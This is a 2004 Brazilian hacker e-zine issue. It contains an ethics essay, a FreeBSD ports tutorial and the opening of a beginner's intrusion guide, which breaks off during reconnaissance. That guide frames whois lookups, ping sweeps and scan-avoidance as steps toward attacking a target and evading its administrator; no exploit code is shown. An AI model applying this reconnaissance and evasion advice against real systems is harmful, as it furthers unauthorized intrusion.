ZINES — underground e-zine archive source
text size: CRT glow:
~/BRAZILIAN/Motd Guide/motd2
                                               88         88
                         88d8b.d8b. .d8888b. d8888P .d888b88
                         88'`88'`88 88'  `88   88   88'  `88
                         88  88  88 88.  .88   88   88.  .88
                         dP  dP  dP `88888P'   dP   `88888P8

                                          oo       dP
                                                   88
                        .d8888b. dP    dP dP .d888b88 .d8888b.
                        88'  `88 88    88 88 88'  `88 88ooood8
                        88.  .88 88.  .88 88 88.  .88 88.  ...
                        `8888P88 `88888P' dP `88888P8 `88888P'
                             .88                    Número 02
                         d8888P

E-zine lançada oficialmente dia 18 de Abril de 2004.

http://www.motdlabs.org
contato@motdlabs.org
irc.brasnet.org   /join #motd

ATENÇÃO: O  MotdLabs adverte  que não  será responsável  por qualquer tolice que
você venha a fazer.  Estou certo de que  estará consciente que ao  tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se  dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir  o
que  fará com esse poder em suas mãos. Só não venha reclamar que se deu mal  por
ter   feito  algo  que aprendeu  nesta  mesma.  Obrigado pela  a  atenção  e boa
leitura!!! :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

c4ri0c4....................................................c4ri0c4@motdlabs.org

d4rwin......................................................d4rwin@motdlabs.org

greenhornet............................................greenhornet@motdlabs.org

hallz........................................................hallz@motdlabs.org

Haze..........................................................haze@motdlabs.org

inferninh0..............................................inferninho@motdlabs.org

IP_FIX......................................................ip_fix@motdlabs.org

REPOLHO....................................................repolho@motdlabs.org

SkyNet45..................................................skynet45@motdlabs.org

Stinger....................................................stinger@motdlabs.org

vbKeyDel...................................................vbkeydel@hotmail.com

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[Índice]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[01] Introdução                                          6,34kb (by IP_FIX)
[02] O Hacking e as Artes Marciais 			 7,31kb (by greenhornet)
[03] Programas no FreeBSD (Ports e Packages)             11,2kb (by hallz)
[04] Primeiros passos para iniciantes			 25,0kb	(by inferninh0)
[05] Shellcode Sem Segredos Parte I                      73,6kb (by IP_FIX)
[06] Tutorial Básico de Winsock em VB			 23,4kb (by vbKeyDel)
[07] Sniffing for Dummies			         22,1kb (by hallz)
[08] Introdução ao SSH 				         10,4kb (by Haze)
[09] Usando o NMAP 					 5,48kb (by REPOLHO)
[10] ASP Security				         13,1kb (by Stinger)
[11] Programação em Pascal 				 47,4kb (by d4rwin)
[12] TCP/IP 						 21,3kb (by SkyNet45)
[13] Inutilitários                                       18,9kb (by MOTDLabs)
[14] Detecção de Firewalls				 6,43kb (by c4ri0c4)
							--------
						       291,96kb

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Welcome Back, Newbies! :)

	Estamos devolta com a e-zine MOTD Guide na sua edição 02 que como  podem
	perceber ela está um pouco diferente da anterior. Mais leve, compacta  e
	mais fácil de achar os artigos desejado. PHRACK STYLE!!! :D

	Muita  coisa  mudou  nesses  últimos  meses,  coisas  boas  e  ruins tem
	acontecido para  todos nós.  O grupo  teve tido  problemas  mas tudo tem
	sido superado, muitos  vieram para nosso  lado e na  medida que possível
	estamos trabalhando em projetos como construções de ferramentas. A  cena
	do hacking ético brasileiro vem crescendo espantosamente, impressionante
	como muitos tem sido fiel a ela e lutado por ideias não só proprios, mas
	como  um  "todo"  também.  Qual  o  resultado  de  tudo  isso?  Veja em:
	http://www.h2hc.com.br

	H2HC - Hackers to Hackers Conference - Será um evento totalmente voltado
	para o hacking  com a presença  de grandes nomes  conhecidos e cheio  de
	palestra técnicas. Será a DefCon brasileira! Não percam! :P

	Bom, aproveitem a zine e não deixem de criticá-la na mail-list, qualquer
	crítica/sugestão/reclamação/discussão dela será bem aceito. Agora a zine
	tem um site próprio (ela está criando vida! :P) para os interessados  em
	publicar algo. Esta  edição foi limitada  aos membros privados  devido à
	problemas que  tivemos na  edição passada  mas nada  impedirá que outros
	possam   publicar  suas   matérias  daqui   pra  frente.   Confira  em:
	http://guide.motdlabs.org/

	Não  deixem de  conferir a  seção de  Inutilitários, que  possui alguns
	programas  feitos  por  alguns membros  daqui,  essa  seção possui  tags
	especiais (<++>  e <-->)  para serem  extraídas através  do extract.c da
	PHRACK  que  acompanha  essa edição.  Também  está  incluído o  D-Fymder
	(http://dfymder.motdlabs.org), que é um  scanner distribuído em PHP.

	Sóisso  galera,  aproveitem  e  não deixem  de  particpar  na  mail-list
	e principalmente no canal  que é nosso  forte. Dúvidas gerais  mandem um
	e-mail para contato@motdlabs.org ou fale pessoalmente no canal #motd.

	Boa leitura! :)

	Atenciosamente,

	IP_FIX.

Nossos parceiros r0x!

Clube dos Mercenários:
http://cdm.frontthescene.com.br
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
irc.brasnet.org 	/j #mercenaries

Front The Scene:
http://www.frontthescene.com.br
http://br.groups.yahoo.com/group/frontthescene/
irc.brasnet.org		/j #fts

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[O HACKING E AS ARTES MARCIAIS]-=|greenhornet|=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Este texto eh voltado para comunidade newbie, se voce estiver procurando  alguma
tecnica de como invadir,roubar senhas... Nao perca o seu tempo lendo esse texto.

Dediquei  mais  da metade  da  minha vida  aos  estudos das  Artes  Marciais, em
especifico da chinesa e nos ultimos anos tambem venho me dedicando ao estudo  do
Hacking.
E nesses dois caminhos aparentemente sem conexão venho encontrando tantos pontos
em comum que gostaria de compartilhar com a comunidade.

O  primeiro  ponto  em  comum  e que  normalmente  as  pessoas  hoje  estão mais
interessadas em produtos "fast-food", ou  seja algo que seja rapido,  facil, com
minimo de esforco  e maximo de  resultado. E quem  realmente estuda e  pratica o
hacking legitimo sabe que assim como nas Artes Marciais o Hacking eh um  Caminho
de vida, que nunca tem fim!

Um exemplo  simples de  voce enxergar  isso eh  ver as  centenas de academias de
defesa pessoal que  ensinam o individuo  a como se  defender de assaltos  e etc.
Quando na verdade estão apenas criando um falso senso de segurança no  individuo
e que por causa disso o estara espondo mais ao perigo do que se não  connhecesse
nada. Assim tambem acontece no  Hacking, existem milhares de livros  e cursinhos
que   dizem:"Seja  hacker   em  24horas",   "Aprenda  todas   as  tecnicas   dos
hackers","seguranca  maxima"...  E  todos  que  compartilham  de  um  minimo  de
conhecimento e bom senso sabem que tudo isso não passa de caça niqueis!

As Artes Marciais  fazem parte de  uma cultura milenar,  de um povo  que tem uma
historia riquissima. O Termo Kung Fu foi criado a mais de 4000 anos, e no inicio
não era  ligado diretamente  a pratica  da Arte  Marcial. Pois  KUNG se refere a
trabalho, esforco, dedicação; alias o  ideograma Kung representa a figura  de um
instrumento  agricula,  que denota  esforco,  suor. O  termo  FU signica  "Homem
Maduro", geralmente era associado a marido, homem de muita cultura ou de  grande
influencia na sociedade ou um grande artista de grande criatividade.

Portanto Kung Fu  era usado para  se referir a  um homem maduro  que alcancou um
alto nivel de compreesão e execução em determinada area. Dentro desse raciocinio
você poderia ter muito Kung Fu para matematica, literatura, culinaria...

O termo Kung Fu só comecou a ser associado a Arte Marcial Chinesa no ocidente na
decada de 50 quando o famoso Bruce  Lee chegou a America e apresentou um  metodo
de luta completamente inovador;  e quando o questionavam  sobre o que ele  fazia
ele  simplesmente dizia  "Kung Fu!".  E apartir  dai no  ocidente comecou  a se
associar esse nome exclusivamente a Arte Marcial Chinesa. Na China Arte  Marcial
eh chamada "Wu Shu", e eh interessante notar que ao longo da historia esse termo
teve diferentes interpretações.  WU:Marcial e SHU:Arte,  mas diferente da  nossa
visão ocidental em que Marcial se refere ao Deus greco-romano Marte. Wu para  os
chineses eh representado pela figura de um  machado e de um pe parado; que  da a
ideia de parar o  machado ou deter o  machado(A violencia), portanto o  objetivo
primordial da Arte Marcial sempre foi Deter o Machado ou seja deter a violencia.
Num  primeiro  momento esse  termo  foi usado  quando  as terras  chinesas  eram
invadidas por guerreiros  de outros povos.  Então deter a  violencia significava
deter a invasão estrangeira.

Seculos depois quando os monges começaram a empregar o treino de Kung Fu  dentro
do  Monasterio  Shaolin,  WuShu passou  a  ter  outra conotação;  a  de  deter a
violencia atraves do autocontrole, ou  seja os monges desenvolviam a  capacidade
de ferirem um individuo ou ate mesmo mata-lo, mas ao mesmo tempo desenvolviam  o
auto-controle (ou seja  deterem a "si  mesmos"), uma etica  para que tivesse  um
equilibrio emocional.

Esse mesmo  espirito eh  encontrado no  Hacking em  que pessoas  desenvolvem uma
serie de qualidades atraves  da dedicação intensa ao  estudo do Hacking. Pois  o
hacking  praticado  em  sua  essencia  desenvolve  no  individuo  foco(a  grande
habilidade do  individuo se  concentrar em  determidado problema  e grudar  nele
horas, dias muitas vezes ate sem dormir ate encontrar a solução),  Criatividade:
Muitos pensam erroneamente que o hacker eh simplesmente uma biblioteca ambulante
que acumulou  muito conhecimento,  mas o  verdadeiro hacking  começa apartir  do
ponto em  que ele  aprendeu, indo  alem do  ponto que  aprendeu. A capacidade de
abstração e de se livrar de toda logica.

A importancia da pratica  nos dois caminhos eh  essencial, o movimento, a  ação!
Explicando melhor a  Teoria ela deve  usada apenas para  embasar a sua  vivência
pratica e não o contrario. Portanto você não eh considerado um Hacker ou Artista
Marcial legitimo enquanto não desenvolver  suas proprias ideias e teses.  E como
mencionado  anteriormente  sobre  o controle  emocional  dos  monges guerreiros,
dentro do hacking existe uma etica que deve ser cultivada, ou seja, o  invididuo
tem a  capacidade de  poder fazer  algo destrutivo,  mas não  o faz  por ter  um
objetivo maior. Esses principios que diferenciam um Artista Marcial de um lutador
ou de um atleta.

Muitas  vezes  o objetivo  do  individuo esta  em  apenas ganhar  competições  e
conquistar medalhas, enquanto o Artista Marcial esta focado em lapidar cada  vez
mais  a si  mesmo. O  mesmo cenario  eh encontrado  na diferença  do hacker  pro
cracker, um tem  o objetivo de  alcancar a excelencia  do conhecimento, o  outro
esta apenas interessado em roubar,  destruir e alcançar lucro. Existe  um abismo
de  diferenças nesses  caminhos e  espero que  a maioria  possa enxergar  essas
diferencas.

Um  outro aspecto  que vale  a pena  ser mencionado  eh sobre  a relação  homem
-maquina. Os guerreiros  antigos, como os  grandes samurais por  exemplo, tinham
sua  espada  não como  um  instrumento, mas  como  parte dele  mesmo,  tamanha a
intimidade que ele tinha  com sua arma. A  espada do samurai era  simplesmente a
extensão do seu corpo; ele alcançava um grau tão elevado em que os dois eram  um
só! Penso que no hacking devemos  almejar nivel semelhante, ou seja, conhecer  o
sistema, a  maquina profundamente  para que  você chegue  ao nivel  de conseguir
executar qualquer coisa que deseje, sem limitações, você e a maquina serem um!

Uma outra caracteristica interessante em  ambos caminhos que deve ser  cultivada
eh a  malicia: Uma  vez meu  mestre me  disse uma  frase que  nunca esqueci:  "O
Artista Marcial  pode ser  acusado de  qualquer coisa,  menos de  ingenuo!". Com
malicia  não quero  dizer em  fazer algo  destrutivo, mas  vejo malicia  como a
capacidade do individuo enxergar as possibidades boas e ruins de cada  situação.
Portanto no Hacking procure  saber sempre no que  esta se metendo, com  quem tem
andado pois as consequencias podem ser desastrosas.

E isso,espero que esse texto esclareça um pouco as pessoas que ainda não tem uma
visão clara  sobre esses  caminhos, e  que enxergam  os Artistas Marciais apenas
como lutadores arruaceiros e violentos e os Hackers como marginais virtuais.

Quem quiser discutir ou dar opinião sobre o texto sinta-se a vontade para enviar
um mail.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Programas no FreeBSD (Ports e Packages)]-=|hallz|=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

==[ Introdução ]===============================================================

No FreeBSD, softwares podem ser  instalados basicamente de duas formas.  Através
de  pacotes (packages)  ou como  portas (ports).  Pacotes já  estão compilados,
bastando  um  comando para  instalá-lo  e poder  usar  o programa.  Já  os ports
precisam antes serem compilados. Aqui pretendo demonstrar o uso básico de ambos.
Lembrando que geralmente é necessário ser root para instalar programas. Acesso à
internet também é necessário.

==[ Package X Port ]===========================================================

Vantagens dos pacotes:

--> Pacotes ocupam menos espaço. Ele só ocupa  espaço para o programa em si.
--> Pacotes são instalados mais rapidamente. Como já estão na forma binária,
não precisam ser compilados primeiro.

Vantagens dos ports:

--> Você pode ativar algumas características do programa, antes de compilá-lo.
--> A coleção  de ports  te dá  informações sobre  os programas  que você  pode
instalar; o  que ele  faz, se  existe uma  versão mais  recente e  onde ele será
instalado.
--> Alguns  programas  só  estão  disponíveis  como  ports;  por  precisarem de
informações suas ou por restrições de seus criadores.
--> O sistema de ports gerencia melhor as dependências, inclusive, ele obtém
automaticamente tudo que é necessário para o programa funcionar.

==[ Instalando pacotes ]=======================================================

Pode-se instalar pacotes usando o sysinstall:

$ su
Password:
# /stand/sysinstall

No menu que aparece, selecione "Do a post-install configuration of FreeBSD".
[Enter], depois, "Install pre-packaged software for FreeBSD" [Enter]
Escolha de onde quer instalar o software e divirta-se :-)

Você também pode instalar o software "na mão", com o comando
# pkg_add

E pronto, o programa já pode ser utilizado.

==[ Instalando a coleção de ports ]============================================

Para poder instalar ports, você precisa ter instalado a coleção de ports  (ports
collection), que são arquivos que dizem ao FreeBSD como instalar cada  programa,
através do código fonte (source code).

Para acessar a coleção de ports, digite:

# cd /usr/ports

Se receber uma  mensagem  dizendo que  o diretório não  existe "No such  file or
directory" então a coleção não está instalada. Para instalar, logue como root  e
rode o sysinstall.

# /stand/sysinstall

Siga a sequência:

1. Acesse "Configure: Do post Install configuration of FreeBSD" [enter]
2. Acesse "Distributions: Install additional distribution sets" [enter]
3. Selecione (c/ a barra de espaço) "ports: The FreeBSD ports collection" [ok]
4. Escolha a mídia de onde quer instalar os ports, ao acabar, selecione
"X Exit Install".

Também pode-se baixar a coleção de ports do site http://www.freebsd.com/ports/ ,
arquivo ports.tgz. Depois do término do download, mova o arquivo ports.tgz  para
/usr e descompacte-o com:

/usr# tar xzf ports.tar.gz

Pronto, a coleção de ports já está instalada!

==[ Usando os ports ]==========================================================

Localizar um programa na coleção de ports deveria ser uma tarefa difícil, já que
ela conta com mais de 6.000 programas. No entanto, podemos localizar  facilmente
um programa, usando o recurso de busca da coleção. Vamos procurar pelo  programa
nmap, um conhecido port scanner.

# cd /usr/ports
# make search name=nmap

Teremos uma lista de ports contendo 'nmap' em seu nome:

Port:	nmap-3.00
Path: 	/usr/ports/security/nmap
Info:	Port scanning utility for large networks
Maint:	d.marks@student.umist.ac.uk
Index:	security
B-deps:
R-deps:

Port:	nmapfe-3.00
Path:	/usr/ports/security/nmapfe
Info:	GUI frontend for the nmap scanning utility
Maint:	d.marks@student.umist.ac.uk
Index:	security
B-deps:	XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0
R-deps:	XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0

No resultado da  nossa busca podemos  ver o nome  do port e  sua versão, o local
onde ele  está localizado  (path), uma  pequena descrição  do propósito  de cada
programa, o endereço de contato caso tenha problemas com o port, e o que o  port
precisa para ser compilado (B-deps) e o que precisa para ser executado (R-deps).
Vamos "fuçar" um pouco mais o nmap antes de instalá-lo.

# cd /usr/ports/security/nmap

O arquivo pkg-desc contém uma descrição de algumas linhas sobre o programa.
Podemos vê-la com o comando cat.

# cat pkg-descr
nmap is a utility for port  scanning large networks, although it works  fine for
single  hosts. The  guiding philosophy  for the  creation of  nmap was  TMTOWTDI
(There's More Than One Way To Do It). Sometimes you need speed, other times  you
may need stealth.  In some cases,  bypassing firewalls may  be required. Not  to
mention  the fact  that you  may want  to scan  different protocols  (UDP, TCP,
ICMP,etc.).  You  just can't  do  all this  with  one scanning  mode.  Thus nmap
incorporates virtually every scanning technique known of.

WWW: http://www.insecure.org/nmap/index.html

See the webpage and  the Phrack Magazine article  (Volume 7, Issue 51  September
01, 1997, article 11 of 17) http://www.insecure.org/nmap/p51-11.txt

-- David
   obrien@cs.ucdavis.edu

Já o  arquivo pkg-plist  contém uma  lista de  arquivos que  o port instala, e o
destino de cada um.

#cat pkg-plist
@comment $FreeBSD: ports/security/nmap/pkg-plist,v 1.11 2001/04/15 01:04:33
obrien Exp $
bin/nmap
share/nmap/nmap-os-fingerprints
share/nmap/nmap-protocols
share/nmap/nmap-services
share/nmap/nmap-rpc
@dirrm share/nmap

==[ Instalando um port ]=======================================================

Para instalar um  port é necessário  estar conectado à  internet e estar  logado
como root. Vamos instalar o nmap:

# cd /usr/ports/security/nmap
# make install

Você verá o progresso da instalação em sua tela, ao termino do processo, se tudo
ocorreu bem, o programa já pode ser utilizado. :)

Para economizar espaço pode-se remover os arquivos criados durante a instalação,
com o comando make clean

# make clean
===> Cleaning for nmap-3.00

Para economizar mais espaço, podemos  remover manualmente os arquivos que  foram
baixados. Eles ficam no diretório /usr/ports/distfiles

==[ Obtendo informações sobre programas instalados ]===========================

O  FreeBSD  mantém  em /var/db/pkg  um  registro  de todos  os  ports  e pacotes
instalados no sistema. Neste diretório  podemos obter dados sobre os  programas,
com o comando pkg_info

# cd /var/db/pkg
# pkg_info -v nmap-3.00/ | more

Serão exibidos dados como a descrição do programa,  o diretório de instalação e
os arquivos criados.
Caso não saiba o nome completo do diretório, use TAB. Exemplo:

# pkg_info -v nmap (e pressione TAB) - o FreeBSD vai completar o nome para você.
Esperto, não?

==[ Removendo Ports ou pacotes ]===============================================

Para apagar um programa, tudo que precisamos saber é o nome do pacote (ou port).

# cd /var/db/pkg
# ls -d nmap*
nmap-3.00

# pkg_delete nmap-3.00

Pronto, programa removido :-)

==[ Atualizando a coleção de ports ]===========================================

"O  tempo  passa,  o  tempo  voa"  e  a  sua  coleção  de  ports  um  dia ficará
ultrapassada. Para atualizá-la, usamos o cvsup, localizado em /usr/local/bin/

Caso o cvsup não esteja instalado, rode o /stand/sysinstall (Configure->Packages->
"Midia a ser usada"->Net->cvsup)

Antes de poder atualizar a coleção de ports, devemos editar os supfiles, que são
arquivos com instruções que o cvsup usa para atualizar conjuntos de ports. Vamos
criar um supfile que atualize a coleção inteira.

# cd /usr/share/examples/cvsup
# cp ports-supfile bkp_ports-supfile

Agora abra o arquivo ports-supfile e mude a linha:

*default host=CHANGE_THIS.FreeBSD.org

para:

*default host=cvsup.br.FreeBSD.org
(ou outro servidor listado em http://www.freebsd.org/doc/handbook/cvsup.html)

Caso não queira atualizar a coleção  inteira, basta comentar (adicionar um #  no
começo da linha) a linha ports-all, e "descomentar" as linhas que se referem  ao
que você quer atualizar.

Para atualizar a coleção, basta executarmos: (Lembre-se que é necessário estar
conectado à internet.)

# cvsup -g -L2 ports-supfile

O -g serve para desativar a interface gráfica ( no terminal é mais 'leet' :P  ),
e o -L2 mostra o andamento da atualização.

Se tudo correr bem,  após algum tempo (varia  de acordo com a  velocidade da sua
conexão) você verá a mensagem "Finished successfully" na tela.

Pronto, a sua coleção de ports está atualizada ;-)

Mas... e se você já tiver  uma versão antiga de algum programa  instalado? Vamos
atualizá-lo!

# pkg_version -v |grep nmap
nmap-3.00 < needs updating (port has 3.48_1)

Certo, aí vemos que o nosso todo-poderoso nmap precisa de atualização. Então,
mãos à obra!

O  comando  'pkg_version  -c |grep  nmap'  nos  mostra o  comando  que  deve ser
executado  para  realizar a  atualização,  contudo prefiro  usar  outro caminho;
primeiro compilo a nova versão. Se não ocorrerem erros, apago a versão antiga  e
instalo a  nova. Usaremos  o pkg_version  apenas para  ver onde  se localiza  os
arquivos do programa que deve ser atualizado.

# pkg_version -c |grep nmap
# nmap
cd /usr/ports/security/nmap
make clean && make && pkg_delete -f nmap-3.00

# cd /usr/ports/security/nmap
# make all
===> Extracting for nmap-3.48_1
...
(Muitas linhas depois... Muitas mesmo! :P )
Compiling nmap
rm -f nmap
#

Vemos que compilou sem problemas, entao removemos a versão antiga:

# ls -d /var/db/pkg/nmap*
/var/db/pkg/nmap-3.00
# pkg_delete -f /var/db/pkg/nmap-3.00

E instalamos a nova:

# make install
===> Installing for nmap-3.48_1
...
For more  information, and  contact details  about the  security status  of this
software, see the following webpage: http://www.insecure.org/nmap/

Agora  removemos  os arquivos  gerados  durante o  processo,  que não  são  mais
necessários:

# make clean
===> Cleaning for libtool-1.4.3_2
===> Cleaning for pcre-4.4
===> Cleaning for nmap-3.48_1

# /usr/local/bin/nmap --version

nmap version 3.48 ( http://www.insecure.org/nmap/ )

Pronto, Nmap atualizado :)

==[ Finalizando ]==============================================================

Vimos  aqui que  instalar/atualizar/remover programas  no FreeBSD  não é  nenhum
"bicho de sete cabeças", e que suas ferramentas são bastante versáteis. Para mais
informações, consulte as manpages; a melhor forma de aprender é fuçar, sempre ;-)

Links úteis:
http://www.primeirospassos.org/
http://www.freebsd.org/doc/handbook/
http://www.myfreebsd.com.br/
http://www.linuxbsd.com.br/

===[ EOF ]======================================================================

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[Primeiros passos para iniciantes]-=|inferninh0|=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

------------------------ INDICE -------------------------
1 - Introducao

2 - Colhendo Dados
 2.1 - Pesquisando o registro do dominio
 2.2 - Usando Ping (Pong?..:P)
 2.3 - Scanear ou nao scanear, eis a questao...
 2.4 - Analisando Banners
 2.5 - Detectando o S.O.
 2.6 - Usando Engenharia Social

3 - Partindo para a ofensiva
 3.1 - Avaliando as brechas
 3.2 - Senhas padroes e Brute force
 3.3 - Trojans
 3.4 - Servicos mal configurados e/ou vulneraveis

4 - Pos-invasao
 4.1 - Garantindo acesso
 4.2 - Quem deixa rastro eh lesma...;)
 4.3 - Evitando "visitantes" indesejados
 4.4 - Cheirando a rede

5 - Finalizando

---------------------------------------------------------

---------------
1 - Introducao |
---------------

   Realmente fazia muito tempo que eu nao digitava nenhum texto, devido a falta
de tempo e de disposicao, mais enfim, aqui estou eu novamente... Pretendo
neste texto abordar por alto e de forma generalisada alguns metodos utilizados
para conseguir acesso a uma maquina e como mante-lo, vou procurar evitar ao
maximo fazer desde texto mais uma receita de bolo, isso nao eh um guia
definitivo, na verdade estarei apenas expondo alguns conceitos ja amplamente
divulgados que sabe-se la por que, alguns nao conseguem acesso a tais informacoes
a intencao e aticar a vontade de aprender e de pesquisar do leitor, e que
ninguem mais entre em canais de irc pedindo um programa pra invadir...:~.
No decorrer do texto serao indicados diversos links e sugestoes de leituras
para aprofundamento no assunto, seria prudente ler alguns deles...:)

-------------------
2 - Colhendo dados |
-------------------

   Uma boa coleta de dados sobre o host alvo e fundamental, isso e q lhe dara
base para efetuar o ataque, existem diversas formas de se coletar dados, cada
um tem seus proprios metodos, de forma que vou apenas citar alguns ja bem
difundidos e dar exemplos, os eventos nao sao descritos de forma cronologica
entao siga-os na sequencia que achar melhor e nem se prenda somente a esses
metodos, o limite e a sua imaginacao e determinacao.

2.1 - Pesquisando o registro do dominio
***************************************

   Sempre que um dominio eh registrado, isso eh armazenado em um banco de dados
online, podendo ser pesquisado por qualquer um que tenha interesse, aqui no
Brasil temos o http://www.registro.br/ mais afinal qual seria a utilidade de
fazer tal consulta?
   Pode-se descobrir facilmente o nome do responsavel pelo dominio, ou ao menos
quem registrou, numeros de telefones e enderecos, isso ajuda muito em um
ataque de engenharia social que abordaremos mais tarde. E possivel ainda
encontrar servidores de nome do dominio, data de criacao, e ultima atualizacao no
registro do mesmo, todos esses dados podem ser uteis, use sua imaginacao.
Abaixo um exemplo de pesquisa usando o 'whois' do linux.

inferninho@weapon:~$ whois capivara.org

Domain Name:CAPIVARA.ORG
Created On:04-Nov-2001 23:23:37 UTC
Last Updated On:04-Jan-2004 03:54:12 UTC
Expiration Date:04-Nov-2004 23:23:37 UTC
Registrant Name:Seu Craison
Registrant Organization:Capivara
Registrant Rua dos Bobos n 0
Registrant Cidade de Deus
Registrant State/Province:CP
Registrant Postal Code:10000-000
Registrant Country:BR
Registrant Email:craisson@capivara.org
Admin Name:Massaranduba
Admin Organization:Capivara
Admin Rua: Macho pra cacete n 23,5 por 14
Admin City:Macholandia
Admin State/Province:CP
Admin Postal Code:10000-000
Admin Country:BR
Admin Email:Massaranduba@capivara.org
Name Server:DNS1.NAME-SERVICES.COM
Name Server:DNS2.NAME-SERVICES.COM
Name Server:DNS3.NAME-SERVICES.COM
Name Server:DNS4.NAME-SERVICES.COM
Name Server:DNS5.NAME-SERVICES.COM
Name Server:NS.CAPIVARA.COM.BR
Name Server:NS2.CAPIVARA.COM.BR

2.2 - Usando Ping (Pong?..:P)
*****************************

   O ping e o metodo mais simples de detectar quando um IP esta vivo na rede,
ele simplesmente envia pacotes ICMP ECHO REQUEST a um IP caso ele responda
com um ICMP ECHO REPLY temos mais uma maquina viva, qual a utilidade disso?
Bom desta forma vc pode comecar a construir uma lista de maquinas da rede
alvo e determinar qual delas eh melhor vc atacar primeiro, oq? Vc nao
acredita mesmo que todos os ataques sao feitos sempre visando a maquina
principal da rede, logo de cara, acredita?

inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.074 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.073 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.081 ms
64 bytes from localhost (127.0.0.1): icmp_seq=5 ttl=64 time=0.069 ms

--- localhost ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3996ms
rtt min/avg/max/mdev = 0.069/0.073/0.081/0.007 ms

  Como podemos ver a maquina 'pingada' (pingado!? isso lembra cafe com leite,
perai que vou fazer um pra mim...:P) esta viva na rede, isso eh evidente ja
que se trata da mesma maquina que digito esse txt agora, pra que diabos eu
pinguei eu mesmo? No decorrer do txt irei mostrar diversos exemplos todos
usando localhost ou maquinas imaginarias como 'alvo' assim evita-se de alguem
tentar fazer oq nao deve na maquina usada como exemplo...;)

  Existe a possibilidade do admin bloquear o ping usando um firewall, com
iptables teriamos algo como:

# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

  Essa regra bloqueia apenas o 'pong' assim sua maquina nao ira responder a
nenhuma solicitacao.

inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.

--- localhost ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4014ms

  Note que as estatisticas apresentadas mudaram...;)...a titulo de
aprofundamento no assunto sugiro a leitura do seguinte texto:

Nibble -> Hping2 VS IPtables
http://cdm.frontthescene.com.br/artigos/info.hping2-vs-iptables.txt

Nash Leon -> Ilustrações Básicas de Algumas Técnicas Contra Firewalls
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/
ilustracoes_basicas_de_algumas_tecnicas_contra_firewalls.txt

2.3 - Scanear ou nao scanear, eis a questao...
**********************************************

   A grande maioria dos atacantes hoje em dia se utilizam de ferramentas que
procuram por portas abertas e/ou falhas em um host, isso eh muito util e
facilita em muito o trabalho de coleta de dados, mais por outro lado esses
scaner sao extremamente barulhentos, e acabam avisado o admin da rede sobre
sua varredura e dependendo do caso ate o IP real do atacante, se voce nao quiser
causar alarde com relacao a sua investida no host, nao deve de forma nenhuma
utilizar um scanner de rede, obviamente dependendo do host caso vc tenha
certeza que ali nao tenha nenhum sistema de IDS e o admin seja um inutil,
nao ha mal nenhum em se utilizar dos scanners, ueh mais como saber quais
portas e quais vulnerabilidades tem um host sem sequer passar um scanner nele?
Deducao? Eh isso mesmo adivinhao...:P... voce ira deduzir algumas portas
abertas, uma boa forma e visitar a pagina web do host, e procurar pelos
